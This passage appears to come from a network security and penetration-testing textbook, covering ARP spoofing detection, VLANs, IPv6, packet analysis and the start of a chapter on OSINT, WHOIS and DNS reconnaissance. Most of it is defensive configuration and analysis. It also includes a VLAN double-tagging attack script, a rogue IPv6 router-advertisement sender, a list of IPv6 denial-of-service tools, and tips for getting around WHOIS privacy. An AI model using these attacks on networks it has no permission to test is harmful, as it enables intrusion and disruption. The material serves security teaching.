def arp_monitor(pkt):
    if ARP in pkt and pkt[ARP].op == 2:  # ARP reply
        ip = pkt[ARP].psrc
        mac = pkt[ARP].hwsrc
        
        if ip in arp_table:
            if arp_table[ip] != mac:
                print(f"[!] ARP spoofing detected!")
                print(f"    IP: {ip}")
                print(f"    Old MAC: {arp_table[ip]}")
                print(f"    New MAC: {mac}")
        else:
            arp_table[ip] = mac
            print(f"[+] Added {ip} -> {mac}")

print("Monitoring for ARP spoofing...")
sniff(prn=arp_monitor, filter="arp", store=0)
EOF

chmod +x arp_detect.py
./arp_detect.py

7.5.3 ARP Security

Static ARP Entries:

# Add static ARP for critical hosts
ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 nud permanent dev eth0
echo "192.168.1.1 00:11:22:33:44:55" >> /etc/ethers

# Make permanent
cat >> /etc/network/interfaces << EOF
post-up ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 nud permanent dev eth0
EOF

ARP Filtering with ebtables:

# Prevent ARP spoofing with ebtables
apt install ebtables

# Allow only specific MAC-IP pairs
ebtables -A FORWARD -p ARP --arp-ip-src 192.168.1.10 --arp-mac-src AA:BB:CC:DD:EE:FF -j ACCEPT
ebtables -A FORWARD -p ARP -j DROP

# Rate limit ARP
ebtables -A FORWARD -p ARP -m limit --limit 1/second -j ACCEPT
ebtables -A FORWARD -p ARP -j DROP

7.6 VLANs

Virtual LANs segment networks at layer 2 for security and performance.

7.6.1 VLAN Concepts

802.1Q VLAN Tag:

Standard Ethernet Frame:
| Dest MAC | Src MAC | Type | Data | FCS |

802.1Q Tagged Frame:
| Dest MAC | Src MAC | TPID | TCI | Type | Data | FCS |

TPID: Tag Protocol ID (0x8100)
TCI: Tag Control Information
  - Priority (3 bits)
  - CFI (1 bit) - Canonical Format Indicator
  - VLAN ID (12 bits) - 1-4094

VLAN Types:

  • Access port: Carries traffic for single VLAN
  • Trunk port: Carries multiple VLANs (tagged)
  • Native VLAN: Untagged traffic on trunk

7.6.2 Linux VLAN Configuration

Creating VLAN Interfaces:

# Install VLAN tools
apt install vlan
modprobe 8021q

# Create VLAN interface
ip link add link eth0 name eth0.10 type vlan id 10
ip link set eth0.10 up
ip addr add 192.168.10.100/24 dev eth0.10

# Using vconfig (legacy)
vconfig add eth0 20
ifconfig eth0.20 up

# Permanent configuration (Debian)
cat >> /etc/network/interfaces << EOF
auto eth0.10
iface eth0.10 inet static
    address 192.168.10.100
    netmask 255.255.255.0
    vlan-raw-device eth0
EOF

VLAN Bridging:

# Create bridge with VLANs
ip link add name br0 type bridge
ip link set dev eth0 master br0
ip link set dev eth0.10 master br0
ip link set dev eth0.20 master br0

# VLAN filtering on bridge
ip link set br0 type bridge vlan_filtering 1
bridge vlan add dev eth0 vid 10 pvid untagged
bridge vlan add dev eth0 vid 20
bridge vlan add dev eth0.10 vid 10

7.6.3 VLAN Hopping Attacks

Double Tagging Attack:

#!/usr/bin/env python3
# vlan_hopping.py
# EDUCATIONAL ONLY

from scapy.all import *
import sys

def double_tagged_packet(target_mac, src_mac, outer_vlan, inner_vlan, dst_ip):
    """Create double-tagged 802.1Q packet"""
    
    # Outer tag (visible to first switch)
    outer_tag = Dot1Q(vlan=outer_vlan)
    
    # Inner tag (visible after removing outer tag)
    inner_tag = Dot1Q(vlan=inner_vlan)
    
    packet = (
        Ether(src=src_mac, dst=target_mac) /
        outer_tag /
        inner_tag /
        IP(dst=dst_ip) /
        ICMP()
    )
    
    return packet

if __name__ == "__main__":
    if len(sys.argv) != 5:
        print("Usage: vlan_hopping.py <target_mac> <src_mac> <outer_vlan> <inner_vlan>")
        sys.exit(1)
    
    packet = double_tagged_packet(
        sys.argv[1], sys.argv[2], 
        int(sys.argv[3]), int(sys.argv[4]),
        "192.168.1.100"
    )
    
    sendp(packet, iface="eth0", count=1)
    print("Double-tagged packet sent")

VLAN Trunking Protocol (VTP) Attacks:

# VTP attacks (Cisco-specific)
# - VTP domain spoofing
# - VTP password cracking
# - Revision number attacks

# Protection:
# - Disable VTP or use VTP version 3 with authentication
# - Set VTP mode to transparent
# - Use dedicated VLAN for trunk ports

VLAN Security Best Practices:

# Disable DTP (Dynamic Trunking Protocol) on Cisco
interface GigabitEthernet0/1
 switchport mode access
 switchport nonegotiate

# Use dedicated native VLAN (not VLAN 1)
interface GigabitEthernet0/1
 switchport trunk native vlan 999

# Prune unused VLANs on trunk
switchport trunk allowed vlan 10,20,30

# Enable VLAN access maps
vlan access-map block-arp 10
 match ip address 101
 action drop

7.7 IPv6

IPv6 is the next generation Internet Protocol, with significant differences from IPv4.

7.7.1 IPv6 Addressing

IPv6 Address Format:

2001:0db8:85a3:0000:0000:8a2e:0370:7334

Compression rules:
- Leading zeros can be omitted
- One double colon (::) replaces consecutive zero blocks

2001:db8:85a3::8a2e:370:7334

IPv6 Address Types:

  • Global Unicast: 2000::/3 (public internet)
  • Unique Local: fc00::/7 (private, like IPv4 RFC1918)
  • Link-Local: fe80::/10 (autoconfigured on each interface)
  • Multicast: ff00::/8
  • Loopback: ::1
  • Unspecified: ::
  • IPv4-mapped: ::ffff:192.168.1.1

IPv6 Address Configuration:

# Show IPv6 addresses
ip -6 addr show
ifconfig

# Add IPv6 address
ip -6 addr add 2001:db8::100/64 dev eth0

# SLAAC (Stateless Autoconfiguration)
sysctl -w net.ipv6.conf.eth0.accept_ra=2
sysctl -w net.ipv6.conf.eth0.autoconf=1

# DHCPv6
apt install dhcpcd5
dhcpcd -6 eth0

7.7.2 IPv6 Neighbor Discovery (NDP)

NDP replaces ARP, ICMP Router Discovery, and ICMP Redirect in IPv6.

NDP Message Types:

  • Router Solicitation (RS): Hosts ask for routers
  • Router Advertisement (RA): Routers advertise themselves
  • Neighbor Solicitation (NS): Like ARP request
  • Neighbor Advertisement (NA): Like ARP reply
  • Redirect: Better next-hop

NDP Operations:

#!/usr/bin/env python3
# ipv6_ndp.py

from scapy.all import *
import sys

def send_router_advertisement(iface, prefix="2001:db8::/64"):
    """Send malicious RA (for testing)"""
    
    ra = (
        IPv6(src="fe80::1", dst="ff02::1") /
        ICMPv6ND_RA(routerlifetime=1800, reachabletime=0, retranstimer=0) /
        ICMPv6NDOptPrefixInfo(prefix=prefix.split('/')[0], prefixlen=int(prefix.split('/')[1]), 
                             validlifetime=86400, preferredlifetime=14400, flags=0xC0) /
        ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface))
    )
    
    send(ra, iface=iface)
    print(f"Sent router advertisement for {prefix}")

def neighbor_solicitation(target_ip, iface):
    """Perform neighbor discovery"""
    
    # Get source MAC
    src_mac = get_if_hwaddr(iface)
    
    # Create neighbor solicitation
    ns = (
        IPv6(src=get_if_addr6(iface), dst=target_ip) /
        ICMPv6ND_NS(tgt=target_ip) /
        ICMPv6NDOptSrcLLAddr(lladdr=src_mac)
    )
    
    reply = sr1(ns, iface=iface, timeout=2)
    if reply and ICMPv6ND_NA in reply:
        mac = reply[ICMPv6NDOptDstLLAddr].lladdr
        print(f"{target_ip} is at {mac}")
        return mac
    
    return None

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: ipv6_ndp.py <command> [options]")
        sys.exit(1)
    
    if sys.argv[1] == "ra":
        send_router_advertisement(sys.argv[2])
    elif sys.argv[1] == "ns":
        neighbor_solicitation(sys.argv[2], sys.argv[3])

NDP Security:

# Disable ICMP redirects
sysctl -w net.ipv6.conf.all.accept_redirects=0
sysctl -w net.ipv6.conf.all.secure_redirects=0

# RA Guard (on switches)
ipv6 nd raguard

# SEND (SEcure Neighbor Discovery)
# Requires certificates, rarely implemented

7.7.3 IPv6 Transition Mechanisms

Dual Stack: Both IPv4 and IPv6 running simultaneously

# Enable IPv6 forwarding
sysctl -w net.ipv6.conf.all.forwarding=1

# Check dual stack
ping -4 google.com
ping -6 google.com

Tunneling:

# 6to4 tunnel (automatic)
ip tunnel add tun6to4 mode sit remote any local 192.168.1.100 ttl 255
ip link set tun6to4 up
ip -6 addr add 2002:c0a8:164::1/16 dev tun6to4
ip -6 route add ::/0 dev tun6to4

# Manual GRE tunnel
ip tunnel add gre1 mode gre remote 192.168.1.200 local 192.168.1.100
ip link set gre1 up
ip addr add 10.0.0.1/30 dev gre1

NAT64/DNS64:

# Install NAT64 gateway
apt install tayga

# Configure /etc/tayga.conf
cat > /etc/tayga.conf << EOF
tun-device nat64
ipv4-addr 192.168.255.1
prefix 64:ff9b::/96
dynamic-pool 192.168.255.0/24
data-dir /var/db/tayga
EOF

7.7.4 IPv6 Security Testing

IPv6 Network Scanning:

# Scan IPv6 network
nmap -6 -sS 2001:db8::/120

# Alive hosts detection
alive6 eth0

# Scan for open services
scan6 -i eth0 -d 2001:db8::/64 -L

IPv6 Attack Tools:

# THC-IPv6 toolkit
apt install thc-ipv6

# Available tools
alive6           # Find alive hosts
dos-new-ip6      # DoS by claiming new IPs
fake_router6     # Fake router advertisements
flood_router6    # Flood with RAs
fragmentation6   # Fragmentation attacks
kill_router6     # Kill IPv6 routers
redir6           # Redirect traffic
rsmurf6          # Smurf attack in IPv6
smurf6           # IPv6 smurf
thcping6         # Ping with custom options
toobig6          # MTU issues

# Example: Fake router advertisement
fake_router6 -A 2001:db8::/64 eth0

IPv6 Firewall with ip6tables:

# Basic IPv6 firewall
ip6tables -P INPUT DROP
ip6tables -P FORWARD DROP
ip6tables -P OUTPUT ACCEPT

# Allow ICMPv6 (required for NDP)
ip6tables -A INPUT -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -m limit --limit 1/sec -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-solicitation -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-advertisement -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT
ip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT

# Allow established connections
ip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow specific services
ip6tables -A INPUT -p tcp --dport 22 -j ACCEPT
ip6tables -A INPUT -p tcp --dport 80 -j ACCEPT
ip6tables -A INPUT -p tcp --dport 443 -j ACCEPT

# Log drops
ip6tables -A INPUT -j LOG --log-prefix "IPv6-DROP: "

7.8 Packet Analysis Fundamentals

Packet analysis is essential for network troubleshooting, security monitoring, and penetration testing.

7.8.1 Packet Capture Tools

tcpdump Fundamentals:

# Basic capture
tcpdump -i eth0
tcpdump -i eth0 -c 100  # Capture 100 packets

# Save to file
tcpdump -i eth0 -w capture.pcap
tcpdump -r capture.pcap  # Read file

# Filter expressions
tcpdump host 192.168.1.100
tcpdump port 80
tcpdump src 192.168.1.1 and dst port 443
tcpdump 'tcp[13] & 2 != 0'  # TCP SYN packets

# Verbose output
tcpdump -v
tcpdump -vv
tcpdump -vvv

# Display packet contents
tcpdump -X  # Hex and ASCII
tcpdump -A  # ASCII only

Wireshark/TShark:

# Install
apt install wireshark tshark

# Capture with tshark
tshark -i eth0
tshark -i eth0 -c 100 -w capture.pcap

# Filters
tshark -Y "http.request.method == GET"
tshark -Y "ip.src == 192.168.1.100"
tshark -Y "tcp.port == 443"

# Statistics
tshark -r capture.pcap -z io,stat,1
tshark -r capture.pcap -z endpoints,ip
tshark -r capture.pcap -z conv,tcp

# Follow streams
tshark -r capture.pcap -q -z follow,tcp,ascii,0

7.8.2 Advanced Packet Analysis

Protocol Analysis with Scapy:

#!/usr/bin/env python3
# packet_analyzer.py

from scapy.all import *
from collections import Counter

def analyze_pcap(pcap_file):
    """Analyze pcap file and generate statistics"""
    
    packets = rdpcap(pcap_file)
    
    print(f"Total packets: {len(packets)}")
    
    # Protocol distribution
    protocols = Counter()
    for pkt in packets:
        if IP in pkt:
            protocols['IPv4'] += 1
        elif IPv6 in pkt:
            protocols['IPv6'] += 1
        elif ARP in pkt:
            protocols['ARP'] += 1
    
    print("\nProtocol Distribution:")
    for proto, count in protocols.most_common():
        print(f"  {proto}: {count} ({count/len(packets)*100:.1f}%)")
    
    # TCP Flags analysis
    tcp_flags = Counter()
    for pkt in packets:
        if TCP in pkt:
            flags = pkt[TCP].flags
            tcp_flags[flags] += 1
    
    print("\nTCP Flags:")
    for flags, count in tcp_flags.most_common():
        print(f"  0x{flags:02x}: {count}")
    
    # Top talkers
    ips = Counter()
    for pkt in packets:
        if IP in pkt:
            ips[pkt[IP].src] += 1
            ips[pkt[IP].dst] += 1
    
    print("\nTop Talkers:")
    for ip, count in ips.most_common(10):
        print(f"  {ip}: {count} packets")
    
    # Extract HTTP requests
    print("\nHTTP Requests:")
    for pkt in packets:
        if TCP in pkt and pkt[TCP].dport == 80 and Raw in pkt:
            payload = pkt[Raw].load.decode('utf-8', errors='ignore')
            if payload.startswith('GET') or payload.startswith('POST'):
                print(f"  {payload.split()[0]} {payload.split()[1]}")

def extract_files(pcap_file):
    """Extract files from network traffic"""
    
    packets = rdpcap(pcap_file)
    
    # Extract HTTP objects
    import re
    
    for i, pkt in enumerate(packets):
        if TCP in pkt and Raw in pkt:
            payload = bytes(pkt[Raw].load)
            
            # Look for common file signatures
            signatures = {
                b'\x89PNG\r\n\x1a\n': 'png',
                b'\xff\xd8\xff': 'jpg',
                b'PK\x03\x04': 'zip',
                b'%PDF': 'pdf',
            }
            
            for sig, ext in signatures.items():
                if payload.startswith(sig):
                    filename = f"extracted_{i}.{ext}"
                    with open(filename, 'wb') as f:
                        f.write(payload)
                    print(f"Extracted: {filename}")
                    break

def detect_anomalies(pcap_file):
    """Detect network anomalies"""
    
    packets = rdpcap(pcap_file)
    
    # SYN flood detection
    syn_packets = {}
    for pkt in packets:
        if TCP in pkt and pkt[TCP].flags == 'S':
            src = pkt[IP].src
            syn_packets[src] = syn_packets.get(src, 0) + 1
    
    print("Potential SYN floods:")
    for src, count in syn_packets.items():
        if count > 100:
            print(f"  {src}: {count} SYN packets")
    
    # Port scan detection
    port_scans = {}
    for pkt in packets:
        if TCP in pkt:
            src = pkt[IP].src
            dst_port = pkt[TCP].dport
            if src not in port_scans:
                port_scans[src] = set()
            port_scans[src].add(dst_port)
    
    print("\nPotential port scans:")
    for src, ports in port_scans.items():
        if len(ports) > 20:
            print(f"  {src}: {len(ports)} ports")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: packet_analyzer.py <pcap_file>")
        sys.exit(1)
    
    analyze_pcap(sys.argv[1])
    extract_files(sys.argv[1])
    detect_anomalies(sys.argv[1])

7.8.3 Network Forensics

Flow Analysis with nfdump:

# Install nfdump
apt install nfdump

# Capture flows (on router/switch)
# Configure NetFlow/sFlow export

# Analyze flows
nfdump -r nfcapd.202401011200
nfdump -r nfcapd.202401011200 -s ip/flows
nfdump -r nfcapd.202401011200 -s record/bytes

# Top talkers
nfdump -r nfcapd.202401011200 -s ip/bytes

# Filter by port
nfdump -r nfcapd.202401011200 'port 22'

PCAP Analysis Commands:

# Count packets
capinfos capture.pcap

# Extract specific conversations
editcap -A 2024-01-01T10:00:00 -B 2024-01-01T11:00:00 capture.pcap window.pcap

# Merge pcap files
mergecap -w merged.pcap file1.pcap file2.pcap

# Split pcap file
tcpdump -r large.pcap -w small.pcap -C 100  # 100MB files

# Filter with tcpslice
tcpslice -R +60 capture.pcap  # First 60 seconds

7.8.4 Real-time Traffic Analysis

Network Monitoring with ntopng:

# Install ntopng
apt install ntopng

# Configure
cat > /etc/ntopng/ntopng.conf << EOF
--interface=eth0
--interface=eth1
--http-port=3000
--local-networks="192.168.0.0/16,10.0.0.0/8"
EOF

# Start
systemctl enable ntopng
systemctl start ntopng
# Access at http://localhost:3000

IDS/IPS with Suricata:

# Install Suricata
apt install suricata

# Configure
cat > /etc/suricata/suricata.yaml << EOF
af-packet:
  - interface: eth0
    cluster-id: 99
    cluster-type: cluster_flow
    defrag: yes

default-log-dir: /var/log/suricata/

rules:
  - /etc/suricata/rules/*.rules

outputs:
  - eve-log:
      enabled: yes
      filetype: regular
      filename: eve.json
      types:
        - alert
        - http
        - dns
        - tls
EOF

# Download rules
suricata-update

# Run
systemctl enable suricata
systemctl start suricata

# Check alerts
tail -f /var/log/suricata/eve.json | jq '. | select(.event_type=="alert")'

PART III — INFORMATION GATHERING & RECONNAISSANCE

Chapter 8 — Passive Reconnaissance

Passive reconnaissance is the art of gathering information about a target without directly interacting with their systems. This phase is crucial because it leaves no traces, avoids detection, and often reveals a wealth of information from publicly available sources.

8.1 OSINT Methodology

Open Source Intelligence (OSINT) is the foundation of passive reconnaissance. It involves collecting and analyzing information from publicly available sources to build a comprehensive profile of a target organization or individual.

8.1.1 The OSINT Cycle

The OSINT process follows a systematic cycle that ensures thorough coverage and organized analysis:

1. Planning and Direction

  • Define the scope and objectives of the investigation
  • Identify what information is needed and why
  • Determine legal and ethical boundaries
  • Establish timelines and deliverables
  • Identify potential sources of information

2. Collection

  • Gather data from multiple sources
  • Use automated tools for large-scale collection
  • Document all sources and collection methods
  • Ensure data is captured in its original form
  • Consider both technical and human sources

3. Processing

  • Organize collected data into structured formats
  • Remove duplicates and irrelevant information
  • Convert data into analyzable formats
  • Create timelines and relationship maps
  • Index information for easy retrieval

4. Analysis

  • Identify patterns and relationships
  • Correlate data from multiple sources
  • Validate information accuracy
  • Draw conclusions and identify gaps
  • Prioritize findings based on relevance

5. Dissemination

  • Prepare reports tailored to audience
  • Present findings with supporting evidence
  • Include methodologies and sources
  • Provide actionable recommendations
  • Protect sensitive information

8.1.2 OSINT Sources and Categories

Public Records

  • Corporate registrations (Companies House, SEC EDGAR)
  • Property records and tax assessments
  • Court records and legal filings
  • Patent and trademark databases
  • Government contracts and procurement

Technical Infrastructure

  • DNS records and whois data
  • SSL/TLS certificates
  • IP address allocations
  • Autonomous System Numbers (ASN)
  • Technology stacks and versions

Digital Presence

  • Websites and web applications
  • Social media platforms
  • Code repositories (GitHub, GitLab)
  • Job postings and career sites
  • Online forums and discussion boards

Human Intelligence

  • Employee profiles on LinkedIn
  • Conference presentations and slides
  • Technical blog posts
  • Public speaking engagements
  • Academic publications

8.1.3 OSINT Framework

A structured approach to OSINT ensures no stone is left unturned:

# Create an OSINT workspace
mkdir -p ~/osint/{targets,data,reports,tools}
cd ~/osint

# Initialize target investigation
target="example.com"
mkdir -p "targets/$target"/{dns,emails,subdomains,technologies,people,social}

OSINT Collection Script:

#!/usr/bin/env python3
# osint_framework.py

import os
import json
import datetime
import requests
from typing import Dict, List, Any
import hashlib

class OSINTInvestigation:
    def __init__(self, target_name: str, target_domain: str = None):
        self.target_name = target_name
        self.target_domain = target_domain or target_name
        self.timestamp = datetime.datetime.now().isoformat()
        self.data = {
            "target": target_name,
            "domain": self.target_domain,
            "timestamp": self.timestamp,
            "sources": {},
            "findings": {}
        }
        self.workspace = f"osint_workspace/{target_name}_{self.timestamp.replace(':', '-')}"
        os.makedirs(self.workspace, exist_ok=True)
        
    def add_finding(self, category: str, source: str, data: Any):
        """Add a finding to the investigation"""
        if category not in self.data["findings"]:
            self.data["findings"][category] = []
        
        finding = {
            "source": source,
            "timestamp": datetime.datetime.now().isoformat(),
            "data": data
        }
        self.data["findings"][category].append(finding)
        
        # Save to file
        category_file = f"{self.workspace}/{category}.json"
        with open(category_file, 'a') as f:
            f.write(json.dumps(finding) + "\n")
    
    def save_report(self):
        """Save the complete investigation report"""
        report_file = f"{self.workspace}/report.json"
        with open(report_file, 'w') as f:
            json.dump(self.data, f, indent=2)
        
        # Generate HTML report
        self.generate_html_report()
        
    def generate_html_report(self):
        """Generate an HTML report from findings"""
        html = f"""
        <!DOCTYPE html>
        <html>
        <head>
            <title>OSINT Report: {self.target_name}</title>
            <style>
                body {{ font-family: Arial, sans-serif; margin: 20px; }}
                h1 {{ color: #333; }}
                h2 {{ color: #666; margin-top: 30px; }}
                .finding {{ background: #f5f5f5; padding: 10px; margin: 10px 0; border-radius: 5px; }}
                .timestamp {{ color: #999; font-size: 0.9em; }}
                pre {{ background: #fff; padding: 5px; overflow-x: auto; }}
            </style>
        </head>
        <body>
            <h1>OSINT Investigation Report: {self.target_name}</h1>
            <p class="timestamp">Generated: {self.timestamp}</p>
        """
        
        for category, findings in self.data["findings"].items():
            html += f"<h2>{category.upper()}</h2>"
            for finding in findings:
                html += f"""
                <div class="finding">
                    <p class="timestamp">Source: {finding['source']} | {finding['timestamp']}</p>
                    <pre>{json.dumps(finding['data'], indent=2)}</pre>
                </div>
                """
        
        html += """
        </body>
        </html>
        """
        
        with open(f"{self.workspace}/report.html", 'w') as f:
            f.write(html)
        
        print(f"HTML report saved to {self.workspace}/report.html")
    
    def search_github(self, query: str):
        """Search GitHub for target-related code"""
        print(f"Searching GitHub for: {query}")
        # Implementation would use GitHub API
        results = []
        self.add_finding("github", "GitHub API", results)
        return results
    
    def search_linkedin(self, company: str):
        """Search LinkedIn for employees"""
        print(f"Searching LinkedIn for: {company}")
        # Implementation would use LinkedIn scraping (with caution)
        results = []
        self.add_finding("linkedin", "LinkedIn", results)
        return results
    
    def get_certificate_transparency(self, domain: str):
        """Query certificate transparency logs"""
        print(f"Getting certificates for: {domain}")
        try:
            url = f"https://crt.sh/?q=%.{domain}&output=json"
            response = requests.get(url)
            if response.status_code == 200:
                certs = response.json()
                self.add_finding("certificates", "crt.sh", certs)
                return certs
        except Exception as e:
            print(f"Error: {e}")
        return []

# Example usage
if __name__ == "__main__":
    inv = OSINTInvestigation("Example Corp", "example.com")
    inv.get_certificate_transparency("example.com")
    inv.save_report()

8.2 WHOIS Enumeration

WHOIS provides registration information for domain names and IP addresses, often revealing organizational details, contact information, and technical infrastructure.

8.2.1 WHOIS Protocol and Data

WHOIS Record Components:

# Basic WHOIS query
whois example.com

# Key information extracted:
Domain Name: EXAMPLE.COM
Registry Domain ID: 2336799_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.iana.org
Registrar URL: http://res-dom.iana.org
Updated Date: 2023-08-14T07:01:29Z
Creation Date: 1995-08-14T04:00:00Z
Registry Expiry Date: 2024-08-13T04:00:00Z
Registrar: RESERVED-Internet Assigned Numbers Authority
Registrar IANA ID: 376
Registrar Abuse Contact Email: 
Registrar Abuse Contact Phone: 
Domain Status: clientDeleteProhibited
Domain Status: clientTransferProhibited
Domain Status: clientUpdateProhibited
Name Server: A.IANA-SERVERS.NET
Name Server: B.IANA-SERVERS.NET

WHOIS Data Categories:

  • Registrant: The domain owner
  • Administrative Contact: Person responsible for domain management
  • Technical Contact: Person handling technical issues
  • Billing Contact: Person handling payments
  • Registrar: Company where domain was registered
  • Name Servers: DNS servers for the domain
  • Dates: Creation, update, and expiration
  • Status Codes: Domain status flags

8.2.2 WHOIS Enumeration Techniques

Automated WHOIS Collection:

#!/usr/bin/env python3
# whois_enum.py

import whois
import socket
import json
import sys
from datetime import datetime

class WHOISEnumerator:
    def __init__(self):
        self.results = {}
        
    def get_domain_whois(self, domain):
        """Get WHOIS information for a domain"""
        try:
            w = whois.whois(domain)
            return {
                'domain_name': w.domain_name,
                'registrar': w.registrar,
                'whois_server': w.whois_server,
                'creation_date': str(w.creation_date) if w.creation_date else None,
                'expiration_date': str(w.expiration_date) if w.expiration_date else None,
                'updated_date': str(w.updated_date) if w.updated_date else None,
                'name_servers': w.name_servers,
                'status': w.status,
                'emails': w.emails,
                'org': w.org,
                'address': w.address,
                'city': w.city,
                'state': w.state,
                'country': w.country
            }
        except Exception as e:
            print(f"Error getting WHOIS for {domain}: {e}")
            return None
    
    def get_ip_whois(self, ip):
        """Get WHOIS information for an IP address"""
        try:
            # Use whois library for IPs or external service
            # This is a simplified version
            return socket.gethostbyaddr(ip)[0]
        except:
            return None
    
    def find_related_domains(self, email):
        """Find domains registered with same email"""
        # This would typically use reverse WHOIS services
        # Example using viewdns.info or similar (API key required)
        print(f"Searching for domains with email: {email}")
        return []
    
    def historical_whois(self, domain):
        """Get historical WHOIS records"""
        # Services like whoisology.com or securitytrails.com provide historical data
        print(f"Getting historical WHOIS for: {domain}")
        return {}
    
    def parse_whois_text(self, whois_text):
        """Parse raw WHOIS text output"""
        data = {}
        lines = whois_text.split('\n')
        for line in lines:
            if ':' in line:
                key, value = line.split(':', 1)
                data[key.strip()] = value.strip()
        return data
    
    def enumerate_domain(self, domain):
        """Complete WHOIS enumeration for a domain"""
        print(f"\n[+] Enumerating WHOIS for: {domain}")
        
        # Get current WHOIS
        whois_data = self.get_domain_whois(domain)
        if whois_data:
            self.results[domain] = whois_data
            
            # Extract contacts for further investigation
            emails = whois_data.get('emails', [])
            if emails:
                print(f"\n[!] Found emails: {emails}")
                for email in emails:
                    related = self.find_related_domains(email)
                    if related:
                        print(f"  Related domains for {email}: {related}")
            
            # Extract name servers
            ns = whois_data.get('name_servers', [])
            if ns:
                print(f"\n[!] Name servers: {ns}")
                # Resolve name servers to IPs
                for server in ns[:5]:  # Limit to first 5
                    try:
                        ip = socket.gethostbyname(server)
                        print(f"  {server} -> {ip}")
                    except:
                        pass
            
            # Extract dates for timeline
            created = whois_data.get('creation_date')
            expires = whois_data.get('expiration_date')
            if created:
                print(f"\n[!] Domain created: {created}")
            if expires:
                print(f"    Expires: {expires}")
    
    def save_results(self, filename):
        """Save results to file"""
        with open(filename, 'w') as f:
            json.dump(self.results, f, indent=2, default=str)
        print(f"\n[+] Results saved to {filename}")

# Command-line interface
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: whois_enum.py <domain> [output_file]")
        sys.exit(1)
    
    domain = sys.argv[1]
    output = sys.argv[2] if len(sys.argv) > 2 else f"{domain}_whois.json"
    
    enumerator = WHOISEnumerator()
    enumerator.enumerate_domain(domain)
    enumerator.save_results(output)

WHOIS Automation Script:

#!/bin/bash
# whois_auto.sh

domain="$1"
output_dir="whois_results_$(date +%Y%m%d)"

mkdir -p "$output_dir"

# Function to get and parse WHOIS
get_whois() {
    local target="$1"
    local output="$output_dir/${target}.txt"
    
    echo "[*] Getting WHOIS for $target"
    whois "$target" > "$output"
    
    # Extract key information
    echo "=== WHOIS Summary for $target ===" > "$output_dir/${target}_summary.txt"
    grep -E "Domain Name:|Registrar:|Creation Date:|Expiry Date:|Name Server:|Registrant|Admin|Tech" "$output" | \
        sort -u >> "$output_dir/${target}_summary.txt"
    
    # Extract email addresses
    grep -E -o '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b' "$output" | \
        sort -u > "$output_dir/${target}_emails.txt"
    
    # Extract IP addresses
    grep -E -o '([0-9]{1,3}\.){3}[0-9]{1,3}' "$output" | \
        sort -u > "$output_dir/${target}_ips.txt"
    
    echo "[+] WHOIS data saved to $output_dir"
}

# Main execution
if [ -z "$domain" ]; then
    echo "Usage: $0 <domain>"
    exit 1
fi

get_whois "$domain"

# Try different WHOIS servers for more data
servers=("whois.verisign-grs.com" "whois.crsnic.net" "whois.internic.net")

for server in "${servers[@]}"; do
    echo "[*] Trying WHOIS server: $server"
    whois -h "$server" "$domain" >> "$output_dir/${domain}_${server}.txt" 2>/dev/null
done

echo "[+] WHOIS enumeration complete. Results in $output_dir"

8.2.3 WHOIS Privacy and Protection

WHOIS Privacy Services:

  • Many domains use WHOIS privacy protection
  • Contact information is replaced with proxy details
  • Still reveals registrar and name servers
  • Historical WHOIS may show original data

Detecting Protected WHOIS:

# Identify privacy-protected domains
whois example.com | grep -i "privacy\|protect\|REDACTED\|PRIVACY"

# Common privacy providers
whois example.com | grep -E "Domains By Proxy|WhoisGuard|PrivacyProtect"

Working Around Privacy:

  • Check historical WHOIS records
  • Look for patterns in name servers
  • Analyze SSL certificate transparency logs
  • Examine DNS records for clues
  • Search for related domains with exposed WHOIS

8.3 DNS Enumeration

DNS enumeration reveals the infrastructure behind a domain, including subdomains, mail servers, and other services.

8.3.1 DNS Record Types for Reconnaissance

Essential DNS Records:

# A Records - IPv4 addresses
dig example.com A +short

# AAAA Records - IPv6 addresses
dig example.com AAAA +short

# MX Records - Mail servers
dig example.com MX +short

# NS Records - Name servers
dig example.com NS +short

# TXT Records - Text information (SPF, DKIM, verification)
dig example.com TXT +short

# SOA Record - Start of Authority
dig example.com SOA +short

# CNAME Records - Aliases
dig www.example.com CNAME +short

# SRV Records - Service locations
dig _sip._tcp.example.com SRV +short

# PTR Records - Reverse DNS
dig -x 192.168.1.1 +short

Comprehensive DNS Enumeration:

#!/usr/bin/env python3
# dns_enum.py

import dns.resolver
import dns.zone
import dns.query
import dns.reversename
import socket
import sys
from concurrent.futures import ThreadPoolExecutor
import json

class DNSEnumerator:
    def __init__(self, domain, dns_server='8.8.8.8'):
        self.domain = domain
        self.resolver = dns.resolver.Resolver()
        self.resolver.nameservers = [dns_server]
        self.resolver.timeout = 2
        self.resolver.lifetime = 2
        self.results = {
            'domain': domain,
            'records': {},
            'subdomains': [],
            'zone_transfer': None,
            'reverse_dns': []
        }
    
    def query_record(self, record_type):
        """Query specific DNS record type"""
        try:
            answers = self.resolver.resolve(self.domain, record_type)
            return [str(r) for r in answers]
        except dns.resolver.NoAnswer:
            return []
        except dns.resolver.NXDOMAIN:
            return []
        except Exception as e:
            print(f"Error querying {record_type}: {e}")
            return []
    
    def enumerate_all_records(self):
        """Enumerate all common DNS record types"""
        record_types = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA', 'CNAME', 'PTR', 'SRV', 'CAA']
        
        print(f"\n[+] Enumerating DNS records for {self.domain}")
        
        for rtype in record_types:
            records = self.query_record(rtype)
            if records:
                self.results['records'][rtype] = records
